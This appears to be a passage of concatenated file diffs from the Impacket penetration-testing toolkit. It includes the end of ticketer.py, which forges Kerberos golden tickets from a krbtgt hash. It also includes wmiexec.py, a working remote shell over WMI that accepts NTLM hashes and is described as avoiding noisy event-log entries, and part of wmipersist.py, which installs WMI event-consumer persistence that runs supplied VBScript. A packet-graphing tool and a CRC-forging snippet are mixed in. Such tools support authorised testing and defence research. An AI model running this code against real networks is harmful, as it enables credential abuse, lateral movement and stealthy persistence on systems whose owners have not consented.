group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
if len(sys.argv)==1:
parser.print_help()
print "\nExamples: "
print "\t./ticketer.py -nthash <krbtgt nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser\n"
print "\twill create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4."
print "\tIf you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256"
print "\t(depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as"
print "\tbaduser.ccache.\n"
print "\t./ticketer.py -nthash <krbtgt nthash> -aesKey <krbtgt AES> -domain-sid <your domain SID> -domain " \
"<your domain FQDN> -request -user <a valid domain user> -password <valid domain user's password> baduser\n"
print "\twill first authenticate against the KDC (using -user/-password) and get a TGT that will be used"
print "\tas template for customization. Whatever encryption algorithms used on that ticket will be honored,"
print "\thence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser'"
print "\tand saved as baduser.ccache"
sys.exit(1)
options = parser.parse_args()
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
if options.target.find('/') >=0:
logging.critical('Silver tickets not yet supported')
sys.exit(1)
if options.domain is None:
logging.critical('Domain should be specified!')
sys.exit(1)
if options.aesKey is None and options.nthash is None:
logging.error('You have to specify either a aesKey or nthash')
sys.exit(1)
if options.aesKey is not None and options.nthash is not None and options.request is False:
logging.error('You cannot specify both -aesKey and -nthash w/o using -request. Pick only one')
sys.exit(1)
if options.request is True and options.user is None:
logging.error('-request parameter needs -user to be specified')
sys.exit(1)
if options.request is True and options.hashes is None and options.password is None:
from getpass import getpass
password = getpass("Password:")
else:
password = options.password
try:
executer = TICKETER(options.target, password, options.domain, options)
executer.run()
except Exception, e:
#import traceback
#print traceback.print_exc()
print str(e)

View File

@@ -0,0 +1,414 @@
#!/usr/bin/env python
# Copyright (c) 2003 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# Parallel Coordinates traffic grapher.
#
# This grapher uses the pcap library to listen for packets in transit
# over the specified interface. The returned packages can be filtered
# according to a BPF filter (see tcpdump(3) for further information on
# BPF filters). The packets are displayed on a parallel coordinates
# graph that allows the user to visualize the traffic flow on the
# network in real-time.
#
# The graphing part requires Tk support. Note that the user might need
# special permissions to be able to use pcap.
#
# Authors:
# Gerardo Richarte <gera@coresecurity.com>
# Javier Kohen <jkohen@coresecurity.com>
#
# Reference for:
# pcapy: findalldevs, open_live.
# ImpactPacket.
# ImpactDecoder.
## Some tunable variables follow.
# Period (in ms.) to wait between pcap polls.
POLL_PERIOD = 250
# Period (in ms.) to wait between screen refreshes.
REFRESH_PERIOD = 1000
# Refresh screen after receiving new packets.
# You might want to turn off fast_draws if it consumes too much CPU,
# for instance, when used under X-Window over a network link.
fast_draws = 1
## End of user configurable section.
import socket
import sys
import time
import Tkinter
import pcapy
from pcapy import open_live, findalldevs, PcapError
from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder
class NumericAxis:
def __init__(self,canvas,name,low=0,high=0,direction='vertical'):
self.canvas = canvas
self.name = name
self.setLowerLimit(low)
self.setHigherLimit(high)
self.direction = direction
def screenLength(self):
if self.direction == 'vertical':
return (self.canvas.winfo_height())-10
else:
return (self.canvas.winfo_width())-10
def scaleLength(self):
delta = self.getHigherLimit()-self.getLowerLimit()
if not delta:
delta += 1
return delta
def unscale(self,coord):
return int((coord-5)*self.scaleLength()/self.screenLength()+self.getLowerLimit())
def scale(self,value):
return (value-self.getLowerLimit())*self.screenLength()/self.scaleLength()+5
def setLowerLimit(self,limit):
if not limit == None:
self._lowerLimit = limit
def setHigherLimit(self,limit):
if not limit == None:
self._higherLimit = limit
def getLowerLimit(self):
return self._lowerLimit
def getHigherLimit(self):
return self._higherLimit
def addValue(self,value):
if self.getLowerLimit() > value:
self.setLowerLimit(value)
if self.getHigherLimit() < value:
self.setHigherLimit(value)
class SymbolicAxis(NumericAxis):
def __init__(self,canvas,name,values=[],direction = 'vertical'):
NumericAxis.__init__(self,canvas,name,0,len(values)-1,direction)
self.values = list(values)
def addValue(self,value,sort = 1):
try:
self.values.index(value)
return
except:
None
self.values.append(value)
if sort:
self.values.sort()
self.setHigherLimit(len(self.getValues())-1)
def unscale(self,value):
try:
i = NumericAxis.unscale(self, value)
if i < 0: return None
return self.getValues()[i]
except Exception,e:
return None
def scale(self,value):
try:
return NumericAxis.scale(self,self.getValues().index(value))
except:
self.addValue(value)
return NumericAxis.scale(self,self.values.index(value))
def getValues(self):
return self.values
class ParallelCoordinates(Tkinter.Canvas):
def __init__(self, master=None, cnf={}, **kw):
apply(Tkinter.Canvas.__init__, (self, master, cnf), kw)
self.lastSelection = None
self.lastSelectionOval = None
self._onSelection = None
self.minColor = None
self.maxColor = None
self.colorAxis = '_counter'
self.values=[]
self.mainAxis=SymbolicAxis(self,'mainAxis',[],'horizontal')
master.bind('<Visibility>',self.draw)
master.bind('<Motion>',self.buttonDown)
master.bind('<1>',self.buttonDown)
master.bind('<ButtonRelease-1>',self.buttonUp)
def addAxis(self,axis):
self.mainAxis.addValue(axis,0)
def sameValue(self,a,b):
for axis in self.mainAxis.getValues():
if not a[axis.name] == b[axis.name]:
return 0
return 1
def addValue(self,value):
for each in self.values:
if self.sameValue(value,each):
each['_counter'] += 1
each['timestamp'] = value['timestamp']
value = each
break
else:
value['_counter'] = 1
for axis in self.mainAxis.getValues():
axis.addValue(value[axis.name])
self.values.append(value)
color = value[self.colorAxis]
if None == self.minColor or self.minColor > color:
self.minColor = color
if None == self.maxColor or self.maxColor < color:
self.maxColor = color
def removeValue(self, value):
self.values.remove(value)
def basicColor(self,val,fade = 1):
# color scale is linear going through green -> yellow -> red
# (lower to higher)
if val < 0.5:
val += val # val *= 2 (scale from 0 to 1)
# between green - yellow
red = 64*(1-val) + 255*val
green = 200*(1-val) + 255*val
blue = 64*(1-val) + 0
else:
val -= 0.5
val += val
red = 255*(1-val) + 255*val
green = 255*(1-val) + 64*val
blue = 0 + 0
return '#%02x%02x%02x' % (int(red*fade), int(green*fade), int(blue*fade))
def fade(self,value):
return max(0,(120.0-time.time()+value['timestamp'])/120.0)
def color(self,value,fade = 1):
# color scale is linear going through green -> yellow -> red (lower to higher)
val = float(value[self.colorAxis]-self.minColor)/(self.maxColor-self.minColor+1)
return self.basicColor(val,fade)
def drawValueLine(self,value):
x = -1
y = -1
fade = self.fade(value)
if not fade:
self.removeValue(value)
return
color = self.color(value,fade)
for axis in self.mainAxis.getValues():
px = x
py = y
x = self.mainAxis.scale(axis)
y = axis.scale(value[axis.name])
if not px == -1:
self.create_line(px,py,x,y,fill = color)
def draw(self,event = None):
# draw axis
for i in self.find_all():
self.delete(i)
for axis in self.mainAxis.getValues():
x = self.mainAxis.scale(axis)
self.create_line(x,5,x,int(self.winfo_height())-5,fill = 'white')
for value in self.values:
self.drawValueLine(value)
# draw color range
# for i in range(200):
# c = self.basicColor((i+0.0)/200)
# self.create_line(0,i,100,i,fill = c)
def buttonDown(self,event):
if (event.state & 0x0100) or (event.type == '4'):
axis = self.mainAxis.unscale(event.x)
if not axis: return
element = axis.unscale(event.y)
if not element: return
x = self.mainAxis.scale(axis)
y = axis.scale(element)
if self.lastSelectionOval:
self.delete(self.lastSelectionOval)
self.lastSelectionOval = self.create_oval(x-3,y-3,x+3,y+3,fill = "yellow")
if not self.lastSelection == (axis,element):
self.lastSelection = (axis,element)
if self._onSelection:
self._onSelection(self.lastSelection)
def buttonUp(self,event):
if self.lastSelectionOval:
self.delete(self.lastSelectionOval)
self.lastSelectionOval = None
self.lastSelection = None
if self._onSelection:
self._onSelection(None)
def onSelection(self,_onSelection):
self._onSelection = _onSelection
class Tracer:
def __init__(self, interface = 'eth0', filter = ''):
print "Tracing interface %s with filter `%s'." % (interface, filter)
self.tk = Tkinter.Tk()
self.pc = ParallelCoordinates(self.tk,background = "black")
self.pc.pack(expand=1, fill="both")
self.status = Tkinter.Label(self.tk)
self.status.pack()
self.tk.tkraise()
self.tk.title('Personal SIDRA (IP-Tracer)')
self.pc.addAxis(NumericAxis(self.pc, 'proto',256))
self.pc.addAxis(SymbolicAxis(self.pc,'shost'))
self.pc.addAxis(SymbolicAxis(self.pc,'sport'))
self.pc.addAxis(SymbolicAxis(self.pc,'dport'))
self.pc.addAxis(SymbolicAxis(self.pc,'dhost'))
self.pc.onSelection(self.newSelection)
self.interface = interface
self.filter = filter
def timerDraw(self,event = None):
self.pc.draw()
self.tk.after(REFRESH_PERIOD, self.timerDraw);
def start(self):
self.p = open_live(self.interface, 1600, 0, 100)
## self.p.setnonblock(1)
if self.filter:
self.p.setfilter(self.filter)
# Query the type of the link and instantiate a decoder accordingly.
datalink = self.p.datalink()
if pcapy.DLT_EN10MB == datalink:
self.decoder = EthDecoder()
elif pcapy.DLT_LINUX_SLL == datalink:
self.decoder = LinuxSLLDecoder()
else:
raise Exception("Datalink type not supported: " % datalink)
self.tk.after(POLL_PERIOD, self.poll)
self.tk.after(REFRESH_PERIOD, self.timerDraw);
self.tk.bind('q',self.quit)
self.tk.mainloop()
def quit(self,event):
self.tk.quit()
def poll(self,event = None):
self.tk.after(POLL_PERIOD, self.poll)
received = 0
while 1:
try:
hdr, data = self.p.next()
except PcapError, e:
break
self.newPacket(hdr.getcaplen(), data, hdr.getts()[0])
received = 1
if received and fast_draws:
self.pc.draw()
def newPacket(self, len, data, timestamp):
try:
p = self.decoder.decode(data)
except Exception, e:
pass
value = {}
try:
value['timestamp']=timestamp
value['shost']=p.child().get_ip_src()
value['dhost']=p.child().get_ip_dst()
value['proto']=p.child().child().protocol
value['sport']=-1
value['dport']=-1
except:
return
try:
if value['proto'] == socket.IPPROTO_TCP:
value['dport']=p.child().child().get_th_dport()
value['sport']=p.child().child().get_th_sport()
elif value['proto'] == socket.IPPROTO_UDP:
value['dport']=p.child().child().get_uh_dport()
value['sport']=p.child().child().get_uh_sport()
except:
pass
self.pc.addValue(value)
def setStatus(self,status):
self.status.configure(text = status)
def newSelection(self, selection):
if selection:
self.setStatus('%s:%s' % (selection[0].name, selection[1]))
else:
self.setStatus('')
def getInterfaces():
# Grab a list of interfaces that pcap is able to listen on.
# The current user will be able to listen from all returned interfaces,
# using open_live to open them.
ifs = findalldevs()
# No interfaces available, abort.
if 0 == len(ifs):
return "You don't have enough permissions to open any interface on this system."
return ifs
def printUsage():
print """Usage: %s [interface [filter]]
Interface is the name of a local network interface, see the list of available interfaces below.
Filter is a BPF filter, as described in tcpdump(3)'s man page.
Available interfaces for this user: %s
""" % (sys.argv[0], getInterfaces())
def main():
if len(sys.argv) == 1:
printUsage()
graph = Tracer()
elif len(sys.argv) == 2:
graph = Tracer(sys.argv[1])
elif len(sys.argv) == 3:
graph = Tracer(sys.argv[1],sys.argv[2])
else:
printUsage()
sys.exit(1)
graph.start()
main()

View File

@@ -0,0 +1,44 @@
#!/usr/bin/env python
# based on:
#
# Reversing CRC - Theory and Practice.
# HU Berlin Public Report
# SAR-PR-2006-05
# May 2006
# Authors:
# Martin Stigge, Henryk Plotz, Wolf Muller, Jens-Peter Redlich
FINALXOR = 0xffffffffL
INITXOR = 0xffffffffL
CRCPOLY = 0xEDB88320L
CRCINV = 0x5B358FD3L
from binascii import crc32
from struct import pack
def tableAt(byte):
return crc32(chr(byte ^ 0xff)) & 0xffffffff ^ FINALXOR ^ (INITXOR >> 8)
def compensate(buf, wanted):
wanted ^= FINALXOR
newBits = 0
for i in range(32):
if newBits & 1:
newBits >>= 1
newBits ^= CRCPOLY
else:
newBits >>= 1
if wanted & 1:
newBits ^= CRCINV
wanted >>= 1
newBits ^= crc32(buf) ^ FINALXOR
return pack('<L', newBits)
def main():
str = 'HOLA'
t = 0x12345678
print crc32(str + compensate(str, t)) == t

View File

@@ -0,0 +1,404 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# A similar approach to smbexec but executing commands through WMI.
# Main advantage here is it runs under the user (has to be Admin)
# account, not SYSTEM, plus, it doesn't generate noisy messages
# in the event log that smbexec.py does when creating a service.
# Drawback is it needs DCOM, hence, I have to be able to access
# DCOM ports at the target machine.
#
# Author:
# beto (@agsolino)
#
# Reference for:
# DCOM
#
import sys
import os
import cmd
import argparse
import time
import logging
import string
import ntpath
from impacket.examples import logger
from impacket import version
from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, SMB2_DIALECT_21
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
OUTPUT_FILENAME = '__' + str(time.time())
CODEC = sys.getdefaultencoding()
class WMIEXEC:
def __init__(self, command='', username='', password='', domain='', hashes=None, aesKey=None, share=None,
noOutput=False, doKerberos=False, kdcHost=None):
self.__command = command
self.__username = username
self.__password = password
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__aesKey = aesKey
self.__share = share
self.__noOutput = noOutput
self.__doKerberos = doKerberos
self.__kdcHost = kdcHost
self.shell = None
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def run(self, addr):
if self.__noOutput is False:
smbConnection = SMBConnection(addr, addr)
if self.__doKerberos is False:
smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
else:
smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)
dialect = smbConnection.getDialect()
if dialect == SMB_DIALECT:
logging.info("SMBv1 dialect used")
elif dialect == SMB2_DIALECT_002:
logging.info("SMBv2.0 dialect used")
elif dialect == SMB2_DIALECT_21:
logging.info("SMBv2.1 dialect used")
else:
logging.info("SMBv3.0 dialect used")
else:
smbConnection = None
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
try:
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
iWbemLevel1Login.RemRelease()
win32Process,_ = iWbemServices.GetObject('Win32_Process')
self.shell = RemoteShell(self.__share, win32Process, smbConnection)
if self.__command != ' ':
self.shell.onecmd(self.__command)
else:
self.shell.cmdloop()
except (Exception, KeyboardInterrupt), e:
#import traceback
#traceback.print_exc()
logging.error(str(e))
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
sys.stdout.flush()
sys.exit(1)
if smbConnection is not None:
smbConnection.logoff()
dcom.disconnect()
class RemoteShell(cmd.Cmd):
def __init__(self, share, win32Process, smbConnection):
cmd.Cmd.__init__(self)
self.__share = share
self.__output = '\\' + OUTPUT_FILENAME
self.__outputBuffer = unicode('')
self.__shell = 'cmd.exe /Q /c '
self.__win32Process = win32Process
self.__transferClient = smbConnection
self.__pwd = unicode('C:\\')
self.__noOutput = False
self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands'
# We don't wanna deal with timeouts from now on.
if self.__transferClient is not None:
self.__transferClient.setTimeout(100000)
self.do_cd('\\')
else:
self.__noOutput = True
def do_shell(self, s):
os.system(s)
def do_help(self, line):
print """
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
put {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory)
get {file} - downloads pathname to the current local dir
! {cmd} - executes a local shell cmd
"""
def do_lcd(self, s):
if s == '':
print os.getcwd()
else:
try:
os.chdir(s)
except Exception, e:
logging.error(str(e))
def do_get(self, src_path):
try:
import ntpath
newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path))
drive, tail = ntpath.splitdrive(newPath)
filename = ntpath.basename(tail)
fh = open(filename,'wb')
logging.info("Downloading %s\\%s" % (drive, tail))
self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write)
fh.close()
except Exception, e:
logging.error(str(e))
os.remove(filename)
pass
def do_put(self, s):
try:
params = s.split(' ')
if len(params) > 1:
src_path = params[0]
dst_path = params[1]
elif len(params) == 1:
src_path = params[0]
dst_path = ''
src_file = os.path.basename(src_path)
fh = open(src_path, 'rb')
dst_path = string.replace(dst_path, '/','\\')
import ntpath
pathname = ntpath.join(ntpath.join(self.__pwd,dst_path), src_file)
drive, tail = ntpath.splitdrive(pathname)
logging.info("Uploading %s to %s" % (src_file, pathname))
self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read)
fh.close()
except Exception, e:
logging.critical(str(e))
pass
def do_exit(self, s):
return True
def emptyline(self):
return False
def do_cd(self, s):
self.execute_remote('cd ' + s)
if len(self.__outputBuffer.strip('\r\n')) > 0:
print self.__outputBuffer.decode(CODEC)
self.__outputBuffer = ''
else:
self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s.decode(sys.stdin.encoding)))
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n').decode(CODEC)
self.prompt = unicode(self.__pwd + '>').encode(sys.stdout.encoding)
self.__outputBuffer = ''
def default(self, line):
# Let's try to guess if the user is trying to change drive
if len(line) == 2 and line[1] == ':':
# Execute the command and see if the drive is valid
self.execute_remote(line)
if len(self.__outputBuffer.strip('\r\n')) > 0:
# Something went wrong
print self.__outputBuffer.decode(CODEC)
self.__outputBuffer = ''
else:
# Drive valid, now we should get the current path
self.__pwd = line
self.execute_remote('cd ')
self.__pwd = self.__outputBuffer.strip('\r\n')
self.prompt = unicode(self.__pwd + '>').encode(sys.stdout.encoding)
self.__outputBuffer = ''
else:
if line != '':
self.send_data(line)
def get_output(self):
def output_callback(data):
self.__outputBuffer += data
if self.__noOutput is True:
self.__outputBuffer = ''
return
while True:
try:
self.__transferClient.getFile(self.__share, self.__output, output_callback)
break
except Exception, e:
if str(e).find('STATUS_SHARING_VIOLATION') >=0:
# Output not finished, let's wait
time.sleep(1)
pass
elif str(e).find('Broken') >= 0:
# The SMB Connection might have timed out, let's try reconnecting
logging.debug('Connection broken, trying to recreate it')
self.__transferClient.reconnect()
return self.get_output()
self.__transferClient.deleteFile(self.__share, self.__output)
def execute_remote(self, data):
command = self.__shell + data
if self.__noOutput is False:
command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1'
self.__win32Process.Create(command.decode(sys.stdin.encoding), self.__pwd, None)
self.get_output()
def send_data(self, data):
try:
self.execute_remote(data)
print self.__outputBuffer.decode(CODEC)
except UnicodeDecodeError, e:
logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
'https://docs.python.org/2.4/lib/standard-encodings.html\nand then execute wmiexec.py '
'again with -codec and the corresponding codec')
print self.__outputBuffer
self.__outputBuffer = ''
class AuthFileSyntaxError(Exception):
'''raised by load_smbclient_auth_file if it encounters a syntax error
while loading the smbclient-style authentication file.'''
def __init__(self, path, lineno, reason):
self.path=path
self.lineno=lineno
self.reason=reason
def __str__(self):
return 'Syntax error in auth file %s line %d: %s' % (
self.path, self.lineno, self.reason )
def load_smbclient_auth_file(path):
'''Load credentials from an smbclient-style authentication file (used by
smbclient, mount.cifs and others). returns (domain, username, password)
or raises AuthFileSyntaxError or any I/O exceptions.'''
lineno=0
domain=None
username=None
password=None
for line in open(path):
lineno+=1
line = line.strip()
if line.startswith('#') or line=='':
continue
parts = line.split('=',1)
if len(parts) != 2:
raise AuthFileSyntaxError(path, lineno, 'No "=" present in line')
(k,v) = (parts[0].strip(), parts[1].strip())
if k=='username':
username=v
elif k=='password':
password=v
elif k=='domain':
domain=v
else:
raise AuthFileSyntaxError(path, lineno, 'Unknown option %s' % repr(k))
return (domain, username, password)
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Executes a semi-interactive shell using Windows "
"Management Instrumentation.")
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('-share', action='store', default = 'ADMIN$', help='share where the output will be grabbed from '
'(default ADMIN$)')
parser.add_argument('-nooutput', action='store_true', default = False, help='whether or not to print the output '
'(no SMB connection created)')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
'"%s"). If errors are detected, run chcp.com at the target, '
'map the result with '
'https://docs.python.org/2.4/lib/standard-encodings.html and then execute wmiexec.py '
'again with -codec and the corresponding codec ' % CODEC)
parser.add_argument('command', nargs='*', default = ' ', help='command to execute at the target. If empty it will '
'launch a semi-interactive shell')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
'(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
'ones specified in the command line')
group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
'(128 or 256 bits)')
group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. If '
'ommited it use the domain part (FQDN) specified in the target parameter')
group.add_argument('-A', action="store", metavar = "authfile", help="smbclient/mount.cifs-style authentication file. "
"See smbclient man page's -A option.")
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
if options.codec is not None:
CODEC = options.codec
if ' '.join(options.command) == ' ' and options.nooutput is True:
logging.error("-nooutput switch and interactive shell not supported")
sys.exit(1)
if options.debug is True:
logging.getLogger().setLevel(logging.DEBUG)
else:
logging.getLogger().setLevel(logging.INFO)
import re
domain, username, password, address = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in address:
password = password + '@' + address.rpartition('@')[0]
address = address.rpartition('@')[2]
try:
if options.A is not None:
(domain, username, password) = load_smbclient_auth_file(options.A)
logging.debug('loaded smbclient auth file: domain=%s, username=%s, password=%s' % (repr(domain), repr(username), repr(password)))
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
from getpass import getpass
password = getpass("Password:")
if options.aesKey is not None:
options.k = True
executer = WMIEXEC(' '.join(options.command), username, password, domain, options.hashes, options.aesKey,
options.share, options.nooutput, options.k, options.dc_ip)
executer.run(address)
except (Exception, KeyboardInterrupt), e:
#import traceback
#print traceback.print_exc()
logging.error(str(e))
sys.exit(0)

View File

@@ -0,0 +1,236 @@
#!/usr/bin/env python
# Copyright (c) 2003-2016 CORE Security Technologies
#
# This software is provided under under a slightly modified version
# of the Apache Software License. See the accompanying LICENSE file
# for more information.
#
# This script creates/removes a WMI Event Consumer/Filter and link
# between both to execute Visual Basic based on the WQL filter
# or timer specified.
#
# Author:
# beto (@agsolino)
#
# Example:
#
# write a file toexec.vbs the following:
# Dim objFS, objFile
# Set objFS = CreateObject("Scripting.FileSystemObject")
# Set objFile = objFS.OpenTextFile("C:\ASEC.log", 8, true)
# objFile.WriteLine "Hey There!"
# objFile.Close
#
#
# then excute this script this way, VBS will be triggered once
# somebody opens calc.exe:
#
# wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC
# -vbs toexec.vbs
# -filter 'SELECT * FROM __InstanceCreationEvent WITHIN 5 WHERE TargetInstance
# ISA "Win32_Process" AND TargetInstance.Name = "calc.exe"'
#
# or, if you just want to execute the VBS every XXX milliseconds:
#
# wmipersist.py domain.net/adminuser:mypwd@targetHost install -name ASEC
# -vbs toexec.vbs -timer XXX
#
# to remove the event:
# wmipersist.py domain.net/adminuser:mypwd@targetHost remove -name ASEC
#
# if you don't specify the password, it will be asked by the script.
# domain is optional.
#
# Reference for:
# DCOM/WMI
import sys
import argparse
import logging
from impacket.examples import logger
from impacket import version
from impacket.dcerpc.v5.dcomrt import DCOMConnection
from impacket.dcerpc.v5.dcom import wmi
from impacket.dcerpc.v5.dtypes import NULL
class WMIPERSISTENCE:
def __init__(self, username = '', password = '', domain = '', options= None):
self.__username = username
self.__password = password
self.__domain = domain
self.__options = options
self.__lmhash = ''
self.__nthash = ''
if options.hashes is not None:
self.__lmhash, self.__nthash = options.hashes.split(':')
@staticmethod
def checkError(banner, resp):
if resp.GetCallStatus(0) != 0:
logging.error('%s - ERROR (0x%x)' % (banner, resp.GetCallStatus(0)))
else:
logging.info('%s - OK' % banner)
def run(self, addr):
dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
options.aesKey, oxidResolver=False, doKerberos=options.k, kdcHost=options.dc_ip)
iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/subscription', NULL, NULL)
iWbemLevel1Login.RemRelease()
if self.__options.action.upper() == 'REMOVE':
self.checkError('Removing ActiveScriptEventConsumer %s' % self.__options.name,
iWbemServices.DeleteInstance('ActiveScriptEventConsumer.Name="%s"' % self.__options.name))
self.checkError('Removing EventFilter EF_%s' % self.__options.name,
iWbemServices.DeleteInstance('__EventFilter.Name="EF_%s"' % self.__options.name))
self.checkError('Removing IntervalTimerInstruction TI_%s' % self.__options.name,
iWbemServices.DeleteInstance(
'__IntervalTimerInstruction.TimerId="TI_%s"' % self.__options.name))
self.checkError('Removing FilterToConsumerBinding %s' % self.__options.name,
iWbemServices.DeleteInstance(
r'__FilterToConsumerBinding.Consumer="ActiveScriptEventConsumer.Name=\"%s\"",'
r'Filter="__EventFilter.Name=\"EF_%s\""' % (
self.__options.name, self.__options.name)))
else:
activeScript ,_ = iWbemServices.GetObject('ActiveScriptEventConsumer')
activeScript = activeScript.SpawnInstance()
activeScript.Name = self.__options.name
activeScript.ScriptingEngine = 'VBScript'
activeScript.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]
activeScript.ScriptText = options.vbs.read()
self.checkError('Adding ActiveScriptEventConsumer %s'% self.__options.name,
iWbemServices.PutInstance(activeScript.marshalMe()))
if options.filter is not None:
eventFilter,_ = iWbemServices.GetObject('__EventFilter')
eventFilter = eventFilter.SpawnInstance()
eventFilter.Name = 'EF_%s' % self.__options.name
eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]
eventFilter.Query = options.filter
eventFilter.QueryLanguage = 'WQL'
eventFilter.EventNamespace = r'root\cimv2'
self.checkError('Adding EventFilter EF_%s'% self.__options.name,
iWbemServices.PutInstance(eventFilter.marshalMe()))
else:
wmiTimer, _ = iWbemServices.GetObject('__IntervalTimerInstruction')
wmiTimer = wmiTimer.SpawnInstance()
wmiTimer.TimerId = 'TI_%s' % self.__options.name
wmiTimer.IntervalBetweenEvents = int(self.__options.timer)
#wmiTimer.SkipIfPassed = False
self.checkError('Adding IntervalTimerInstruction',
iWbemServices.PutInstance(wmiTimer.marshalMe()))
eventFilter,_ = iWbemServices.GetObject('__EventFilter')
eventFilter = eventFilter.SpawnInstance()
eventFilter.Name = 'EF_%s' % self.__options.name
eventFilter.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]
eventFilter.Query = 'select * from __TimerEvent where TimerID = "TI_%s" ' % self.__options.name
eventFilter.QueryLanguage = 'WQL'
eventFilter.EventNamespace = r'root\subscription'
self.checkError('Adding EventFilter EF_%s'% self.__options.name,
iWbemServices.PutInstance(eventFilter.marshalMe()))
filterBinding,_ = iWbemServices.GetObject('__FilterToConsumerBinding')
filterBinding = filterBinding.SpawnInstance()
filterBinding.Filter = '__EventFilter.Name="EF_%s"' % self.__options.name
filterBinding.Consumer = 'ActiveScriptEventConsumer.Name="%s"' % self.__options.name
filterBinding.CreatorSID = [1, 2, 0, 0, 0, 0, 0, 5, 32, 0, 0, 0, 32, 2, 0, 0]
self.checkError('Adding FilterToConsumerBinding',
iWbemServices.PutInstance(filterBinding.marshalMe()))
dcom.disconnect()
# Process command-line arguments.
if __name__ == '__main__':
# Init the example's logger theme
logger.init()
print version.BANNER
parser = argparse.ArgumentParser(add_help = True, description = "Creates/Removes a WMI Event Consumer/Filter and "
"link between both to execute Visual Basic based on the WQL filter or timer specified.")
parser.add_argument('target', action='store', help='[domain/][username[:password]@]<address>')
parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
subparsers = parser.add_subparsers(help='actions', dest='action')
# A start command
install_parser = subparsers.add_parser('install', help='installs the wmi event consumer/filter')
install_parser.add_argument('-name', action='store', required=True, help='event name')
install_parser.add_argument('-vbs', type=argparse.FileType('r'), required=True, help='VBS filename containing the '
'script you want to run')
install_parser.add_argument('-filter', action='store', required=False, help='the WQL filter string that will trigger'
' the script')
install_parser.add_argument('-timer', action='store', required=False, help='the amount of milliseconds after the'
' script will be triggered')
# A stop command
remove_parser = subparsers.add_parser('remove', help='removes the wmi event consumer/filter')
remove_parser.add_argument('-name', action='store', required=True, help='event name')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
